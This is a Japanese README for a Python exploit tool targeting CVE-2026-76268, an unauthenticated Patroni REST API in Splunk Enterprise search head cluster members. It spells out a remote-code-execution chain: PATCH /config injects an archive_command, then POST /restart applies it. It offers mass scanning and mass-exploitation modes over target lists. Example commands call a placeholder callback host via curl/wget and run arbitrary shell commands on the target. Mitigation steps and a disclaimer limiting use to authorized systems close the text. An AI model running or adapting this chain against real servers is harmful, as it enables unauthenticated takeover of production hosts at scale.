
CVE-2026-76268 の Python PoC:Splunk SHC メンバー上の認証不要の Patroni REST API を検出し、archive_command インジェクションを利用して RCE を達成します。
CVE-2026-76268 のPython 3 PoC — 検索ヘッドクラスタ (SHC) メンバー上の Splunk Enterprise が対象。アドバイザリ SVD-2026-1001。
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| アドバイザリ | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| コンポーネント | PostgreSQL サイドカー (Storage) → Patroni REST API |
| 影響を受けるバージョン | 10.2.0 – 10.2.6、10.4.0 – 10.4.2 |
| 修正バージョン | 10.2.7、10.4.3 (以降) |
| 影響なし (このCVE) | 10.0.x、9.4.x |
| CWE | CWE-306 — 重要な機能に対する認証の欠如 |
| CVSS 3.1 | 9.8 Critical |
| 検証マーカー | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
脆弱なSplunk EnterpriseのSHCメンバーでは、Patroni REST API (Splunk 10.xで導入されたPostgreSQLサイドカーの一部) が認証なしで状態変更リクエストを受け付けます。Patroniリスナーへのネットワークアクセスを持つ攻撃者は、動的クラスタ設定を変更し、archive_command などのPostgreSQLパラメータを介してオペレーティングシステムのコマンド実行をトリガーできます (Patroniの PATCH /config + POST /restart チェーン)。
このPoCはPatroniと直接通信します (通常はTCP 8008、またはSplunkのIPC Brokerによって割り当てられたポート)。Splunk Web (8000) やSplunk管理ポート (8089) は使用しません。これは別の攻撃面です (例: splunkd プロキシ経由の過去のサイドカー問題)。
実際の影響を受けるための前提条件:
[postgres] サイドカーが有効であること (disabled = true はPatroniを削除します)。cd CVE-2026-76268
pip install -r requirements.txt
requests、urllib3| モード | 目的 |
|---|---|
check(デフォルト) | 一般的なポートで Patroni を検出し、認証なしの PATCH /config をテスト |
exploit | Patroni RCE チェーン(archive_command + 再起動)を実行 |
| Mass | --list FILE と -j スレッドを使用。JSONL と任意のヒット/エクスプロイトリストを書き込み |
-t TARGET または --list FILE のいずれかを指定する必要があります。
-t / --list 内の行)| 形式 | 例 |
|---|---|
| ホストのみ(デフォルトのポートスキャン) | 192.168.1.50 |
| ホスト + ポート | 192.168.1.50:8008 |
| 完全な URL | http://10.0.0.5:8008 |
リストファイル内のコメント: # で始まる行は無視されます。
Patroni を検出し、認証なしの設定変更が許可されているかどうかを評価します。
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
PoC の動作内容:
--ports 内の各ポート(デフォルト 8008,8009,8010,18008)に対して GET /patroni(または /)を試行します。PATCH /config を送信します。exploitable_candidate: true とマークします。便利なフラグ:
| フラグ | 意味 |
|---|---|
--ports | スキャンする Patroni ポート(カンマ区切り) |
--port | スキャンをスキップし、単一ポートのみ使用 |
--timeout | HTTP タイムアウト(秒、デフォルト 20) |
--proxy | リクエスト用の HTTP(S) プロキシ |
--output | JSONL ログ(デフォルト cve_2026_76268_results.jsonl) |
--vuln-list | タブ区切りの候補(デフォルト hits.txt) |
--quiet | コンソール出力を減らす |
--no-color | プレーンなターミナル表示 |
終了コード: exploitable_candidate が true の場合は 0、それ以外は 1。
推奨ワークフロー: 一括チェック → hits.txt を確認 → 許可されたホストのみで一括エクスプロイト。
--mode exploit)Patroni 設定インジェクションのチェーンを実行します。これはターゲット上の稼働中のサイドカー/PostgreSQL 動的設定を変更します。
--port が設定されている場合を除く)。PATCH /config が 401/403 を返した場合は中止。PATCH /config — wal_level=replica、archive_mode=always、archive_timeout=1、および指定した archive_command を設定します。POST /restart — 保留中の PostgreSQL 設定を適用します。--wait-archive 秒(デフォルト 3)。archive_command は WAL アーカイブサイクルで実行されます(即時ではありません)。# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
出力:
--output — 完全なJSONL(デフォルト名を維持した場合、大量エクスプロイトは cve_2026_76268_exploit.jsonl にデフォルト設定されます)。--exploited-list — exploited: true の行(デフォルト exploited.txt)。| フラグ | 意味 |
|---|---|
--oob URL | ベースURL。コマンドは curl/wget を実行して URL/POCBIT-76268-OK にアクセスします |
--command | 完全なPostgreSQL archive_command 文字列(OOBデフォルトを上書き) |
--wait-archive | 再起動後、PoCが終了するまでスリープする秒数 |
--ports / --port | ポート検出、または固定のPatroniポート |
--tls | Patroniに https:// を使用(デフォルトのSplunkサイドカードキュメントでは一般的ではありません) |
--oob も --command も設定されていない場合のデフォルトコマンド:
touch /tmp/POCBIT-76268-OK
終了コード: PATCHと再起動が受け入れられた場合(exploited: true)は 0。これはチェーンが配信されたことを意味し、コールバックやファイルによる証明がすでに発火したことを意味するものではありません。ホスト上でOOBまたはファイルシステムのチェックにより確認してください。
重要: 同じパラメータがローカル設定でロックされている場合(ベンダーによるハードニング)、Patroniは動的な変更を無視する可能性があります。その場合、古いSplunkビルドであってもエクスプロイトが失敗することがあります。
-t 実行)stdoutに出力されます(整形されたJSON)。大量モードでは1行につき1つのJSONオブジェクトを書き込みます。
| フィールド | 意味 |
|---|---|
mode | check または exploit |
host / target | 正規化された入力 |
patroni_base | 例: http://192.168.1.50:8008 |
patroni_port | Patroniが応答したポート |
patroni_role | GET /patroni から取得(例: primary) |
unauth_patch | チェック: 認証なしでPATCHが許可された |
exploitable_candidate | チェック: 脆弱な可能性が高いサーフェス |
exploited | エクスプロイト: PATCHと再起動が成功した |
patch / restart | HTTPステータスとボディのプレビュー |
verify | ヒント: OOBパスまたは /tmp/POCBIT-76268-OK |
error | 失敗理由(auth_required_patched_or_hardened、no_patroni_on_ports、…) |
pocbit、pocbit_page、verify_marker | PoCbitメタデータ |
| 結果 | 意味 |
|---|---|
patroni_unauth_patch_confirmed | 強いチェックヒット — 認証なしのPATCHが受け入れられた |
patroni_auth_required | Patroniが認証を要求(パッチ済みまたはハードニング済みの可能性が高い) |
no_patroni_on_ports | スキャンしたポートにPatroniのJSONがない(ホストが誤っている、ファイアウォールで遮断されている、またはSHCサイドカーではない) |
exploit_chain_ok | エクスプロイトのHTTPチェーンが完了した |
auth_required_patched_or_hardened | インジェクション前にエクスプロイトが中止された |
Splunk以外のホストが8008でPatroniを実行している場合があります — 報告する前に必ずSplunkのバージョンとデプロイメントロールと照合してください。
Splunkドキュメントの例(server.conf):
[ipc_broker]
postgres:patroni:address = 8008
未設定の場合、IPC Broker はランダムなポートを選択する可能性があります。サーバー側(管理者アクセス)では:
$SPLUNK_HOME/bin/splunk btool server list ipc_broker --debug
SHC ファイアウォールのドキュメントでは、メンバー間で開放する必要があるストレージサイドカーポートの中に 8008 が記載されています。
10.4.3+ または 10.2.7+ にアップグレードしてください。
Edge Processor、OpAmp、または SPL2 パイプラインを使用していない場合:
# $SPLUNK_HOME/etc/system/local/server.conf
[postgres]
disabled = true
Splunk を再起動します。
Patroni(および etcd の 2379/2380)を SHC ピア IP のみに制限します。
port="8008"
GET /patroni が Patroni JSON(role、state、patroni.version)を返すことで検証します。Splunk UI のバージョンだけでは不十分です。
許可されたセキュリティテストおよびパッチ検証のみを目的としています。エクスプロイトモードはデータベースのサイドカー設定を変更します。所有しているシステム、またはテストの明示的な許可を得ているシステムでのみ使用してください。
CVE-2026-76268 PoC: Splunk Enterprise SHC Patroni REST unauth RCE — PATCH /config archive_command + POST /restart. Check + mass exploit, OOB POCBIT-76268-OK, CVSS 9.8. https://pocbit.org/pocs/cve-2026-76268